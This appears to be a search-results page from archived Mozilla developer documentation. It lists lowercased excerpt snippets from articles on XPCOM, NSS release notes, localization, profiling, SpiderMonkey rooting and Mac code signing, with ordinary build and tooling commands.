obtain the nsiclipboardcommands interface from the appropriate web browser object via nsiserviceprovider::getinterface (or the do_getinterface() helper method).
...this is recommended if you intend anything other than the uri or document your browser is looking at.
... when setting up your browser add a hook to the command manager which points to your nsiwebbrowserchrome implementation.
... nscomptr<nsicommandmanager> commandmanager = do_getinterface(iwebbrowser); if (commandmanager) { nscomptr<nsidomwindow> thedomwindow = do_getinterface(iwebbrowser); nscomptr<nsicommandparams> cmdparamsobj = do_createinstance(ns_command_params_contractid,&rv); cmdparamsobj->setisupportsvalue("addhook", reinterpret_cast<nsisupports*>(ichromeimplementation)); commandmanager->docommand("cmd_clipboarddragdrophook", cmdparamsobj, thedomwindow); } ...
Script security
this javascript code, which is commonly referred to as chrome code, runs with system privileges.
...therefore there's no need for any security checks, there are no wrappers, and there is no performance overhead for the common case of objects in a single window interacting with each other.
... cross-compartment access same-origin as we've already seen, the most common scenario for same-origin access is when objects belonging to the same window object interact.
...(this is what is used when html5 and other specs say "origin is a globally unique identifier".) principal relationships the diagram below summarizes the relationships between the different principals.
Extending a Protocol
so communication can go in both directions.
...unfortunately, it's not really fully documented anywhere - and the ipdl parser gets easily confused (hence us excluding comments below).
... defining echochild.h create ./dom/ipc/echochild.h, and define it as follows - the inline comments describe what's going on: #ifndef mozilla_dom_echochild_h #define mozilla_dom_echochild_h // we include the protocol, which is automatically generated for us.
... defining echoparent.h like before, create ./dom/ipc/echoparent.h, and code it as follows - the inline comments describe what's going on.
Implementing QueryInterface
it tests for bad input with an ns_assertion, to find logic errors immediately in debug builds.
...the ns_impl_query_interface2 macro can write this function for you (though it pains me to recommend macros), e.g., ns_impl_query_interface2(nsmyimplementation, nsix, nsiy) // implements |nsmyimplementation::queryinterface| as above ns_impl_query_interface1(nsfoo, nsifoo) // |nsfoo::queryinterface| provides |nsifoo| and |nsisupports| ns_impl_query_interface0(nsbar) // |nsbar::queryinterface| can only provide an |nsisupports| similarly, you can use the macro ns_impl_query_interface1 when you implement only one additional interface; and ns_impl_query_interface0 when you only implement nsisupports.
...in this case the macro is for convenience only, so i don't recommend it, but i do offer it up as an alternative.
... original document information author(s): scott collins last updated date: may 8, 2003 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Introduction to Layout in Mozilla
non-geometric information may be shared by adjacent frames reference counted, owned by frame view clipping, z-order, transparency [0..1] per frame, owned by frame widget native window [0..1] per view, owned by view key data structures the document owns the content model, and one or more presentations exposed programmatically via dom apis the presentation owns the frame hierarchy frames own the style contexts, views, widgets presentation has media type, dimensions, etc.
...(tables, blocks, xul boxes) reflow “global” reflows initial, resize, style-change processed immediately via presshell method incremental reflows targeted at a specific frame dirty, content-changed, style-changed, user-defined nshtmlreflowcommand object encapsulates info queued and processed asynchronously, nsipressshell::appendreflowcommand, processreflowcommands incremental reflow recursively descend to target recovering reflow state ...
... child rs.reason set to incremental incremental reflow process reflow “normally” at target frame child rs.reason set based on rc’s type incremental reflow propagate damage to frames later “in the flow” incremental reflow multiple reflow commands are batched nsreflowpath maintains a tree of target frames amortize state recovery and damage propagation cost painting as reflow proceeds through the frame hierarchy, areas are invalidated via nsiviewmanager::updateview unless immediate, invalid areas are coalesced and processed asynchronously via os expose event native expose event dispatched to widget; widget delegates to the view manager view manager paints views back-to-front, invoking presshell’s paint method pres...
... original document information author(s): chris waterson last updated date: june 10, 2002 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Webapps.jsm
(amanifest, adestapp) appkind: function(aapp, amanifest) updatepermissionsforapp: function(aid, aispreinstalled) updateofflinecacheforapp: function(aid) installpreinstalledapp: function installpreinstalledapp(aid) removeifhttpsduplicate: function(aid) installsystemapps: function() loadandupdateapps: function() updatedatastore: function(aid, aorigin, amanifesturl, amanifest) _registersystemmessagesforentrypoint: function(amanifest, aapp, aentrypoint) _registerinterappconnectionsforentrypoint: function(amanifest, aapp,) _registersystemmessages: function(amanifest, aapp) _registerinterappconnections: function(amanifest, aapp) _createactivitiestoregister: function(amanifest, aapp, aentrypoint, arunupdate) _registeractivitiesforapps: function(aappstoregister, arunupdate) _registera...
...ctivities: function(amanifest, aapp, arunupdate) _createactivitiestounregister: function(amanifest, aapp, aentrypoint) _unregisteractivitiesforapps: function(aappstounregister) _unregisteractivities: function(amanifest, aapp) _processmanifestforids: function(aids, arunupdate) observe: function(asubject, atopic, adata) addmessagelistener: function(amsgnames, aapp, amm) removemessagelistener: function(amsgnames, amm) formatmessage: function(adata) receivemessage: function(amessage) getappinfo: function getappinfo(aappid) broadcastmessage: function broadcastmessage(amsgname, acontent) registerupdatehandler: function(ahandler) unregisterupdatehandler: function(ahandler) notifyupdatehandlers: function(aapp, amanifest, azippath) _getappdir: function(aid) _writefile: function(apath,...
... adata) dogetlist: function() doexport: function(amsg, amm) doimport: function(amsg, amm) doextractmanifest: function(amsg, amm) dolaunch: function (adata, amm) launch: function launch(amanifesturl, astartpoint, atimestamp, aonsuccess, aonfailure) close: function close(aapp) canceldownload: function canceldownload(amanifesturl, aerror) startofflinecachedownload: function(amanifest, aapp, aprofiledir, aisupdate) computemanifesthash: function(amanifest) updateapphandlers: function(aoldmanifest, anewmanifest, aapp) checkforupdate: function(adata, amm) doinstall: function doinstall(adata, amm) doinstallpackage: function doinstallpackage(adata, amm) pushcontentaction: function(windowid) popcontentaction: function(windowid) actioncancelled: function(windowid) denyinstall: functio...
..., azipreader, aconverter, anewapp, aoldapp,) _checkforstoreidmatch: function(aisupdate, anewapp, astoreid, astoreversion) revertdownloadpackage: function(aid, aoldapp, anewapp, aisupdate, aerror) uninstall: function(amanifesturl) _promptforuninstall: function(adata) confirmuninstall: function(adata) denyuninstall: function(adata, areason = "error_unknown_failure") getself: function(adata, amm) checkinstalled: function(adata, amm) getinstalled: function(adata, amm) getnotinstalled: function(adata, amm) geticon: function(adata, amm) getall: function(acallback) isreceipt: function(data) addreceipt: function(adata, amm) removereceipt: function(adata, amm) replacereceipt: function(adata, amm) setenabled: function(adata) getmanifestfor: function(amanifesturl, aentrypoint) getapp...
Localization notes
localizers usually work on the localizable files without the context of the source files including the localized strings; it is important to add comments to the localizable files themselves, too.
... these comments are generally referred to as localization notes.
...there are a number of automated tools that parse these comments for easier access and use by localizers.
... dtd files <!-- localization note (entity name): comment --> properties files # localization note (key): comment file-wide comments should use the same format, be at the top of the file (after the license header, though) and just drop the (entity name/key) reference.
Localizing XLIFF files for iOS
enter the command git clone https://github.com/mozilla-l10n/firefoxios-l10n/your-locale-code/ you should now see the firefox-ios project in your selected directoy with the firefox-ios.xliff file in it.
... <trans-unit id="add to bookmarks"> <source>add to bookmarks</source> <target>agregar a marcadores</target> <note>no comment provided by engineer.</note> </trans-unit> save your translations along the way.
... commiting your xliff file using this command, commit your translated xliff file into your locale's directory: git commit -m "commit message here" .
... push your commit into the github repo: git push kick up your feet, pop open a cold beer (or soda), and pat yourself on the back for doing something new, different, and exciting!
What every Mozilla translator should know
discussions of interest to the general mozilla developer community are at least notified here.
...for every branch and every locale, there is a separate repository for localization files committed by the localizers.
...when you commit the changes you must write in the comment the bug number, what you have changed and who has approved.
... for example: bug 12345, fix typos and resize prefwindow, a=l10n as soon as you have committed, put the bug in fixed state and write fixed1.8.xxx in the keyword field you have to verify in the next build that the changes have been successful.
Investigating leaks using DMD heap scan mode
secondly, you may need to comment out the call to moz_crash("nss_shutdown failed"); in xpcom/build/xpcominit.cpp, as this also seems to trigger when shutdown is extremely slow.
... the command you need to run firefox will look something like this: xpcom_mem_bloat_log=1 moz_cc_log_shutdown=1 moz_disable_content_sandbox=t moz_cc_log_directory=$logdir moz_cc_log_process=content moz_cc_log_thread=main moz_dmd_shutdown_log=$logdir moz_dmd_log_process=tab ./mach run --dmd --mode=scan breaking this down: xpcom_mem_bloat_log=1: this reports a list of the counts of every object created ...
... with that command line in hand, you can start firefox.
...the command to invoke this looks like this: python $heapgraph/find_roots.py $cclog $winaddr this may take a few seconds.
Gecko Profiler FAQ
this mode is usually recommended when you want to find a thread you want to do more focused profiling on, so that you can find its name and then construct a more useful thread filter string based on the found thread name.
... for isolated profiles i recommend profiling a separate browser instance with only the tab that you’re interested in.
... what are the recommended native profilers across all os's?
... and don’t forget that if you’re interested in finding io slowness issues, profiling on a machine with a fast ssd isn’t recommended.
Power profiling overview
this is a misleading term — the active state, c0, is also a c-state — but one that is nonetheless common.
...common causes of wakeups include scheduled timers going off and blocked i/o system calls receiving data.
... devices such as ammeters give the best results, but these can be expensive and difficult to set up.
... of these, tools/power/rapl is generally the easiest and best to use because it reads all power planes, it's a command line utility, and it doesn't measure anything else.
TraceMalloc
the built mozilla application will support the following additional command-line options: --trace-malloc filename the application will log allocation and deallocation events with stack traces in a binary format to the given file.
...if logfd identifies the current log file, change the current log file to the default log file given by the --trace-malloc command line argument.
... see nstracemalloc.h for detailed comments on the log file format.
...ignore the allocations log, and run leaksoup over the memory dump (which is a dump of all allocations still live at shutdown) with a command such as ./run-mozilla.sh ./leaksoup sdleak.log > sdleak.html.
A guide to searching crash reports
fields are provided for four common search criteria: product, version, platform, and process type.
... the product field is pre-populated with "firefox" because that is a common case.
... this immediately shows which moz_crash calls are being hit frequently by users.
... there is also an api through which searches can be performed programmatically.
McCoy
this is located in: %appdata%\mozilla\mccoy (windows) ~/.mozilla/mccoy (linux) ~/library/application support/mccoy (mac os x) it is highly recommended that you back up your profile folder and store it in a safe location whenever you create a new key; without a backup, there is no way to recover your private keys if they are lost!
...it is strongly recommended that you use a password to protect your mccoy data.
... signing from command line currently there is no support to run mccoy from command line under windows, but it is planned to add this support in the future.
... however, there are several external and unofficial tools which enable signing from command line: uhura - part of the mxtools package from softlights http://www.softlights.net/projects/mxtools/uhura.html signontheline - an extension to mccoy - important: you have to checkout rev 222, later revisions are not working in mccoy!
Creating a Cookie Log
enabling cookie logging windows open a command prompt (this is under programs or programs/accessories in normal installations of windows).
... linux start a command shell (these instructions are for bash, if you use something else, you probably know how to modify these instructions already).
...close out of the command prompt/shell/terminal, and then launch firefox normally.
... original document information author(s): mike connor last updated date: december 4, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Anonymous Shared Memory
first protocol server: fm = pr_openanonfilemap(dirname, size, filemapprot); addr = pr_memmap(fm); attr = pr_newprocessattr(); pr_processattrsetinheritablefilemap( attr, fm, shmname ); pr_createprocess(client); pr_destroyprocessattr(attr); ...
...started by server via pr_createprocess() fm = pr_getinheritedfilemap( shmname ); addr = pr_memmap(fm); ...
...pr_memunmap(addr); pr_closefilemap(fm); second protocol server: fm = pr_openanonfilemap(dirname, size, filemapprot); fmstring = pr_exportfilemapasstring( fm ); addr = pr_memmap(fm); ...
...application specific technique to find fmstring from parent fm = pr_importfilemapfromstring( fmstring ) addr = pr_memmap(fm); ...
NSS_3.12_release_notes.html
or_unknown_aia_location_type sec_error_bad_http_response sec_error_bad_ldap_response sec_error_failed_to_encode_data sec_error_bad_info_access_location sec_error_libpkix_internal new mechanism flags (see secmod.h) public_mech_aes_flag public_mech_sha256_flag public_mech_sha512_flag public_mech_camellia_flag new oids (see secoidt.h) new ec signature oids sec_oid_ansix962_ecdsa_signature_recommended_digest sec_oid_ansix962_ecdsa_signature_specified_digest sec_oid_ansix962_ecdsa_sha224_signature sec_oid_ansix962_ecdsa_sha256_signature sec_oid_ansix962_ecdsa_sha384_signature sec_oid_ansix962_ecdsa_sha512_signature more id-ce and id-pe oids from rfc 3280 sec_oid_x509_hold_instruction_code sec_oid_x509_delta_crl_indicator sec_oid_x509_issuing_distribution_point sec_oid_x509_cert_issuer se...
... link time dependency from nss to softoken bug 387892: add entrust root ca certificate(s) to nss bug 433386: when system clock is off by more than two days, oscp check fails, can result in crash if user tries to view certificate [[@ secitem_compareitem_util] [[@ memcmp] bug 396256: certutil and pp do not print all the generalnames in a crldp extension bug 398019: correct confusing and erroneous comments in der_asciitotime bug 422866: vfychain -pp command crashes in nss_shutdown bug 345779: useless assignment statements in ec_gf2m_pt_mul_mont bug 349011: please stop exporting these crmf_ symbols bug 397178: crash when entering chrome://pippki/content/resetpassword.xul in url bar bug 403822: pkix_pl_ocsprequest_create can leave some members uninitialized bug 403910: cert_findusercertbyusage() ...
... on all unix-ish platforms bug 390710: certnameconstraintstemplate is incorrect bug 416928: der decode error on this policy extension bug 375019: cache-enable pkix_ocspchecker_check bug 391454: libpkix does not honor nss's override trust flags bug 403682: cert_pkixverifycert never succeeds bug 324744: add generation of policy extensions to certutil bug 390973: add long option names to secu_parsecommandline bug 161326: need api to convert dotted oid format to/from octet representation bug 376737: cert_importcerts routinely sets valid_peer or valid_ca override trust flags bug 390381: libpkix rejects cert chain when root ca cert has no basic constraints bug 391183: rename libpkix error string number type to pkix error number types bug 397122: nss 3.12 alpha treats a key3.db with no global salt ...
...ss_enable_ecc defines from manifest.mn bug 412906: remove sha.c and sha.h from lib/freebl bug 353543: valgrind uninitialized memory read in nsspkiobjectcollection_addinstances bug 377548: nss qa test program certutil's default dsa prime is only 512 bits bug 333405: item cleanup is unused deadcode in secitem_allocitem loser bug 288730: compiler warnings in certutil bug 337251: warning: /* within comment bug 362967: export secmod_deletemoduleex bug 389248: nss build failure when nss_enable_ecc is not defined bug 390451: remembered passwords lost when changing master password bug 418546: reference leak in cert_pkixverifycert bug 390074: os/2 sign.cmd doesn't find sqlite3.dll bug 417392: certutil -l -n reports bogus trust flags documentation for a list of the primary nss documentation pages o...
NSS 3.15.4 release notes
users are encouraged to upgrade immediately.
... added the --empty-password command-line option to certutil, to be used with -n: use an empty password when creating a new database.
... added the -w command-line option to pp: don't wrap long output lines.
... new functions cert_forcepostmethodforocsp cert_getsubjectnamedigest cert_getsubjectpublickeydigest ssl_peercertificatechain ssl_recommendedcanfalsestart ssl_setcanfalsestartcallback new types cert_rev_m_force_post_method_for_ocsp: when this flag is used, libpkix will never attempt to use the http get method for ocsp requests; it will always use post.
NSS 3.16.2 release notes
notable changes in nss 3.16.2 the btoa command has a new command-line option -w suffix, which causes the output to be wrapped in begin/end lines with the given suffix.
... the certutil commands supports additionals types of subject alt name extensions: --extsan type:name[,type:name]...
... the certutil commands supports generic certificate extensions, by loading binary data from files, which have been prepared using external tools, or which have been extracted and dumped to file from other existing certificates: --dump-ext-val oid --extgeneric oid:critical-flag:filename[,oid:critical-flag:filename]...
... the certutil command has three new certificate usage specifiers: l: certificateusagesslca a: certificateusageanyca y: certificateusageverifyca the pp command has a new command-line option -u, which means "use utf-8".
NSS sources building testing
create a new directory on your computer that you will use as your local work area, and run the following commands.
... hg clone https://hg.mozilla.org/projects/nspr hg clone https://hg.mozilla.org/projects/nss after the above commands complete, you should have two local directories, named nspr and nss, next to each other.
...as a test, it must be possible to successfully use the command "ping $host.$domsuf" on your computer (ping reports receiving replies).
... once the test suite has completed, a summary will be printed that shows the number of failures.
nss tech note1
despite their differences, the two decoders have a lot in common.
...for this reason, i will first describe all the common functionality of the two decoders, before outlining their differences.
...however, this usage is strongly discouraged and we recommend that you always use an arena pool even with sec_asn1decodeitem.
... see bug 175163 for more information about the reason for this recommendation.
Overview of NSS
server products from oracle (formerly sun java enterprise system), including oracle communications messaging server and oracle directory server enterprise edition.
...rsa standard that governs communication with cryptographic tokens (such as hardware accelerators and smart cards) and permits application independence from specific algorithms and implementations.
... rsa, dsa, ecdsa, diffie-hellman, ec diffie-hellman, aes, triple des, des, rc2, rc4, sha-1, sha-256, sha-384, sha-512, md2, md5, hmac: common cryptographic algorithms used in public-key and symmetric-key cryptography.
... nss comes with an extensive and growing set of documentation, including introductory material, api references, man pages for command-line tools, and sample code.
Network Security Services
documentation background information overview of nss provides a brief summary of nss and its capabilities.
... nss ssl public functions summarizes the ssl apis exported by the nss shared libraries.
... nss api guidelines explains how the libraries and code are organized, and guidelines for developing code (naming conventions, error handling, thread safety, etc.) nss technical notes links to nss technical notes, which provide latest information about new nss features and supplementary documentation for advanced topics in programming with nss.
... of http download for ocsp tls cipher suite discovery nss certificate download specification fips mode - an explanation format of key log files view all nss-related articles on mdn planning information on nss planning can be found at wiki.mozilla.org, including: fips validation nss roadmap page nss improvement project community view mozilla security forums...
Necko Architecture
necko has been designed to accommodate pluggable protocols so developers can contribute their own protocol libraries that can be dynamically loaded and used by applications utilizing necko.
...urls are the most commonly used form of a uri.
...to summarize, the nsiioservice creates url instances.
... dependencies necko requires the following libraries for linking: nspr xpcom original document information author(s): jud valeski last updated date: november 8, 1999 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Installing Pork
the recommended version of gcc is gcc 4.2.
... build and install mcpp mcpp generates macro expansion comments that allow pork's elsa to undo macros, which is necessary in order to get exact position information.
...instead, make sure the commands will be found on the path, as above.
... hg clone http://hg.mozilla.org/rewriting-and-analysis/pork/ cd pork hg clone http://hg.mozilla.org/rewriting-and-analysis/elsa ./configure make building mozilla with mcpp to build mozilla with mcpp to generate annotated .ii files, use the following configure command: ac_cv_visibility_hidden=no cc="gcc34 -save-temps -wp,-w0,-k" cxx="g++ -save-temps -wp,-w0,-k" cppflags=-dns_disable_literal_template $srcdir/configure --enable-debug --disable-optimize --disable-accessibility --enable-application=browser --disable-crashreporter building will probably require disabling warnings_as_errors: make warnings_as_errors= "-wp,-w0,-k" are options that get passed ...
Rhino Debugger
console window the debugger redirects the system.out, system.in, and system.err streams to an internal javascript console window which provides an editable command line for you to enter javascript code and view system output.
... the console window maintains a history of the commands you have entered.
... evaluation window the evaluate pane located in the lower-right (dockable) pane in the debugger main window contains an editable command line where you may enter arbitrary javascript code.
...the window maintains a history of the commands you have entered.
GC Rooting Guide
like a reference, a js::handle is immutable: it can only ever refer to the js::rooted<t> that it was created for.
... these do not need to be wrapped in any of rooting classes, but they should be immediately used to initialize a js::rooted<t> if there is any code that could gc before the end of the containing function; a raw pointer must never be stored on the stack during a gc.
...the simplest approach is to use js::persistentrooted (usable on anything with a trace method with the appropriate signature): js::persistentrooted<myowningstruct> immortalstruct; but note that js::persistentrooted in a struct or class is a rather dangerous thing to use -- it will keep a gc thing alive, and most gc things end up keeping their global alive, so if your class/struct is reachable in any way from that global, then nothing will ever be cleaned up by the gc.
... summary use js::rooted<t> typedefs for local variables on the stack.
Exact Stack Rooting
for this reason it is highly recommended that this rooting mechanism only be used on the cstack.
... there is also a static constructor method frommarkedlocation() that creates a handle from an arbitrary location.
...every use of these should be commented to explain why they are guaranteed to be rooted.
... rootedobject obj(cx, js_newobject(cx, clasp, nullptr(), nullptr()); common pitfalls the c++ type system allows us to eliminate the possibility of most common errors; however, there are still a few things that you can get wrong that the compiler cannot help you with.
JSAPI Cookbook
this article shows the jsapi equivalent for a tiny handful of common javascript idioms.
... */ js::callargs args = js::callargsfromvp(argc, vp); args.rval().setint32(23); return true; returning a floating-point number // javascript return 3.14159; /* jsapi */ js::callargs args = js::callargsfromvp(argc, vp); args.rval().setdouble(3.14159); exception handling throw the most common idiom is to create a new error object and throw that.
...exception(cx); /* do error-handling stuff here */ return true; finally // javascript try { foo(); bar(); } finally { cleanup(); } if your c/c++ cleanup code doesn't call back into the jsapi, this is straightforward: /* jsapi */ bool success = false; if (!js_callfunctionname(cx, global, "foo", 0, null, &r)) goto finally_block; /* instead of returning false immediately */ if (!js_callfunctionname(cx, global, "bar", 0, null, &r)) goto finally_block; success = true; /* intentionally fall through to the finally block.
... /* jsapi */ bool success = false; if (!js_callfunctionname(cx, global, "foo", 0, null, &r)) goto finally_block; /* instead of returning false immediately */ if (!js_callfunctionname(cx, global, "bar", 0, null, &r)) goto finally_block; success = true; /* intentionally fall through to the finally block.
JS::CompileOptions
description in the most common use case, a compileoptions instance is allocated on the stack, and holds non-owning references to non-pod option values: strings; principals; objects; and so on.
...for example, js::compileoffthread needs to save compilation options where a worker thread can find them, and then return immediately.
... so, we have a class hierarchy that reflects these three use cases: readonlycompileoptions is the common base class.
... readonlycompileoptions readonlycompileoptions is the common base class for the compileoptions hierarchy.
Setting up CDT to work on SpiderMonkey
the initial build was in clang, so the modified build commands look like this: mkdir _dbg.obj cd _dbg.obj cc='clang -qunused-arguments -fcolor-diagnostics' cxx='clang++ -qunused-arguments -fcolor-diagnostics' \ ../configure --enable-debug --disable-optimize --enable-debug-symbols note: if you want to use ccache, you can enable it by adding --with-ccache to the arguments list.
... under the "builder settings" group tab, deactivate "use default build command".
... instead, change "build command" to read make -w (this is required because cdt needs detailed information about which directories make operates on, which using -w causes make to provide).
...under the "providers" group tab, select "cdt gcc build output parser" and add the string |(ccache) to the end of the "compiler command pattern" text input.
TPS Tests
a test file may contain an arbitrary number of sections, each involving the same or different profiles, so that one test file may be used to test the effect of syncing and modifying a common set of data (from a single sync account) over a series of different events and clients.
...additionally, note that the config file must parse as valid json, and so you can't have comments in it (sorry, i know this is annoying).
... comment out the goquitapplication() calls in services/sync/tps/extensions/tps/modules/tps.jsm (remember to undo this later!).
... it's common for the phase after the problem to be the one reporting errors (e.g.
compare-locales
if you want to test the localization for de, run $ compare-locales browser/locales/l10n.toml ./l10n/ de to check mobile, replace the previous line with: $ compare-locales mobile/android/locales/l10n.toml ./l10n/ zh-tw to check mail, suite, calendar that lives on comm-central, you can either rely on the check-out of mozilla within comm-central repository that the regular comm-central build instructions generate: $ compare-locales ./comm-central/mail/locales/l10n.toml ./l10n/ zh-tw if you don't want to use a copy of mozilla-central in comm-central, you can run them separately: $ compare-locales -dmozilla=$pwd/mozilla-central comm-central/mail/locales/l10n.
... ab-cd browser chrome/browser browser.dtd +backforwardmenu.tooltip +fullzoomenlargecmd.commandkey3 +fullzoomreducecmd.commandkey2 +fullzoomresetcmd.commandkey2 +organizebookmarks.label -showallbookmarkscmd2.label migration/migration.dtd -importfromfile.accesskey -importfromfile.label +importfromhtmlfile.accesskey +importfromhtmlfile.label you can assume changed strings when you see entities removed a...
... the output closes with a summary, giving the total counts of missing and obsolete strings and words, and some statistics on how many strings are changed or not, excluding access- and commandkeys.
... pass --json to get just the summary in json format.
Mozilla Projects
scripting for midas is based on the dhtml commands supported by internet explorer.
...these operations include setting up an ssl connection, object signing and signature verification, certificate management (including issuance and revocation), and other common pki functions.
... shumway this article will help you understand shumway — mozilla's open standards-based flash renderer — and what it means for the community of developers currently creating the adobe flash platform.
... it is completely free, open source and can be included in any tool whether open or closed, free or commercial.
Using RAII classes in Mozilla
ensuring raii classes are not used as temporaries a common mistake when using raii classes is to accidentally forget to name object, which causes its scope to be different from what is intended.
... for example, instead of writing: autolock lock(mmutex); which causes the lock to be held until the end of the block, one might write: autolock(mmutex); which erroneously causes the lock to be released at the end of the statement.
... in the common case, using these macros involves these three additions to a class: class moz_raii nsautoscriptblocker { public: explicit nsautoscriptblocker(jscontext *cx moz_guard_object_notifier_param) { // note: no ',' before macro moz_guard_object_notifier_init; nscontentutils::addscriptblocker(cx); } ~nsautoscriptblocker() { nscontentutils::removescriptblocker(); } private: moz_dec...
...(this is needed because the macro adds a parameter only when debug is defined, and in this case, it can't add the leading comma.) class moz_raii nsautoscriptblocker { public: explicit nsautoscriptblocker(moz_guard_object_notifier_only_param) { moz_guard_object_notifier_init; nscontentutils::addscriptblocker(); } ~nsautoscriptblocker() { nscontentutils::removescriptblocker(); } private: moz_decl_use_guard_object_notifier }; second, if the constructor is not inline, it needs the parameter added in ...
Signing Mozilla apps for Mac OS X
the codesign tool apple provides a tool called codesign; this command-line application is used to add a signature to an application bundle.
...you can find it by running this command in the terminal: openssl x509 -text -noout -inform der -in devloperid_application.cer | grep subject putting it all together, you'll wind up using a command similar to the one below to sign your app.
...\ --requirements '=designated => identifier "org.you.yourapp" and ( (anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] ) or (anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] and certificate leaf[field.1.2.840.113635.100.6.1.13] and certificate leaf[subject.ou] = "43aq936h96"))' \ application.app or if you're using v2 signing, the command might look like this: codesign -s mac-testing -fv --deep \ --keychain /users/user/library/keychains/mykeychain.keychain \ --requirements '=designated => ( (anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] ) or (anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] and certificate leaf[field.1.2.840.113635.100.6.1.13] and certificate ...
...leaf[subject.ou] = "43aq936h96"))' \ application.app depending on your keychain preferences, the codesign command may display a popup asking for the password for the specified keychain.
Places utilities for JavaScript
there are several predefined versions of this for common calls.
...sidomevent aevent); void createmenuitemfornode(nsinavhistoryresultnode anode, acontainersmap); constants mimetypes type_x_moz_place_container type_x_moz_place_separator: "text/x-moz-place-separator", type_x_moz_place: "text/x-moz-place", type_x_moz_url: "text/x-moz-url", type_html: "text/html", type_unicode: "text/unicode", services there's easy access to some of the common services used in bookmarks or history navigation here.
... bookmarks nsinavbookmarksservice history nsinavhistoryservice globalhistory nsibrowserhistory livemarks nsilivemarkservice annotations nsiannotationservice favicons nsifaviconservice microsummaries nsimicrosummaryservice tagging nsitaggingservice rdf nsirdfservice ptm nsiplacestransactionsservice clipboard nsiclipboard urifixup nsiurifixup special places these are essentially references to the id's of special folders within places.
...this will be called most often as the result of a "bookmark all tabs..." command.
Aggregating the In-Memory Datasource
this preserves the symmetrical property of queryinterface().
... for us to preserve symmetry, our queryinterface() implementation needs to forward nsirdfdatasource to the delegate3: ns_imethodimp myclass::queryinterface(refnsiid aiid, void** aresult) { ns_precondition(aresult != nsnull, "null ptr"); if (!
...there is some trickery involved on the delegate's part to ensure that reference counting is done sanely, and that the reflexive, symmetric, and transitive properties of queryinterface() are preserved.
... if you're really interested, i'd recommend reading about it in a com book.
Component Internals
the most common type of component is one that is written in c++ and compiled into a shared library (a dll on a windows system or a dso on unix).
...as this section and the next describe, you can register your component explicitly during installation, or with the regxpcom program, or you can use the autoregistration methods in the service manager to find and register components in a specified components directory: xpinstall apis regxpcom command-line tool nsicomponentregistrar apis from service manager the registration process is fairly involved.
...unless an interface is explicitly marked "frozen" in the idl comments, your component may possibly break or crash along with a version change.
...however, there are some unfrozen tools in xpcom that are used so often they are practically required parts of component programming.
Creating the Component Code
when it is copied there, run regxpcom from the command line to register that component and all the others in that directory.
...uuidgen is a command-line tool that returns a unique 128-bit number when you call it with no arguments: $ uuidgen ce32e3ff-36f8-425f-94be-d85b26e634ee on windows, a program called guidgen.exe does the same thing and also provides a graphical user interface if you'd rather point and click.
... irc irc.mozilla.org /join #developers /msg firebot uuid this command makes the bot generate and return a uuid, which you can then copy into your component source code.
... the component manager is an interface implemented by xpcom that encapsulates the creation of objects and provides summary information about all registered components.
Finishing the Component
the marking is made in the comments above the interface declaration.
... weblock interfaces interface name defined by status summary nsisupports xpcom frozen provides interface discovery, and object reference counting nsiobserver xpcom frozen allows messaging passing between objects nsicontentpolicy content not frozen interface for policy control mechanism iweblock web lock not frozen enables and disables weblock.
...if the scheme isn't "http", "https", or "ftp", it immediately returns true, which continues the loading process unblocked.
...you can of course improve this backend in many ways, but this example presents the basic creation of what is commonly referred to as a "browser helper object" like weblock.
Setting up the Gecko SDK
building a windows project this section is writting for those of you who do not wish to install visual studio or the express edition, allowing the user to be able to create commercial extensions without buying the full version of visual studio and allowing them to use their own editors.
... environment setup you can create a batch file to set up the environment for you, but this example tells you from the command prompt.
... this allows you to created the component without sending any extra dlls set path=%path%;d:\projects\xulrunner-sdk\sdk\bin;d:\projects\xulrunner-sdk\bin this tells the command prompt where to find the gecko tools, importantly (xpidl, regxpcom, and gmake).
...for a listing of the commands that appear in this listing, see the make manual.
xpcshell
it should be executed under the window command prompt source_directory/obj-xxxxx/dist/bin> xpcshell.exe using the latest version of javascript at present, xpcshell doesn't use the latest version of javascript, so newer language features, such as the let statement introduced in javascript 1.7, are not available.
... to rectify this, run xpcshell with the -v 180 command-line option, which tells xpcshell to use javascript 1.8.
...js> see also howto for common problems in writing xpcshell scripts, e.g., doing async network calls or using js modules.
... see the xpcshell reference for information on command line arguments and extension functions.
nsIAnnotationService
do not use characters that are not valid in urls such as spaces, ":", commas, or most other symbols.
... do not use characters that are not valid in urls such as spaces, ":", commas, or most other symbols.
... do not use characters that are not valid in urls such as spaces, ":", commas, or most other symbols.
... do not use characters that are not valid in urls such as spaces, ":", commas, or most other symbols.
nsIAppStartup
the application will be restarted with the same profile and an empty command line.
...the application will be restarted with an empty command line and the normal profile selection process will take place on startup.
... void ensure1window( in nsicmdlineservice acmdlineservice ); parameters acmdlineservice the command line from which startup args can be read.
...if there are no windows open and no outstanding calls to enterlastwindowclosingsurvivalarea() this method will exit immediately.
nsICookieService
this parameter may be null, but it is strongly recommended that a non-null value be provided to ensure that the cookie privacy preferences are honored.
...this parameter may be null, but it is strongly recommended that a non-null value be provided to ensure that the cookie privacy preferences are honored.
...this parameter may be null, but it is strongly recommended that a non-null value be provided to ensure that the cookie privacy preferences are honored.
...this parameter may be null, but it is strongly recommended that a non-null value be provided to ensure that the cookie privacy preferences are honored.
nsIDOMEvent
void stopimmediatepropagation(); void stoppropagation(); attributes attribute type description bubbles boolean used to indicate whether or not an event is a bubbling event.
...it is also strongly recommended that third parties adding their own events use their own prefix to avoid confusion and lessen the probability of conflicts with other new events.
...he xpcom interface guidelines serialize() void serialize( in ipcmessageptr amsg, in boolean aserializeinterfacetype ); parameters amsg aserializeinterfacetype native code only!settarget void settarget( in nsidomeventtarget atarget ); parameters atarget native code only!settrusted void settrusted( in boolean atrusted ); parameters atrusted stopimmediatepropagation() prevents other event listeners from being triggered and, unlike stoppropagation() its effect is immediate.
... void stopimmediatepropagation(); parameters none.
nsIIOService
these are provided as a convenience to the programmer and in some cases to improve performance by eliminating intermediate data structures and interfaces.
...in that case the principal of the stylesheet which contains the import command is the triggeringprincipal, and the principal of the document whose rendering is affected is the loadingprincipal.
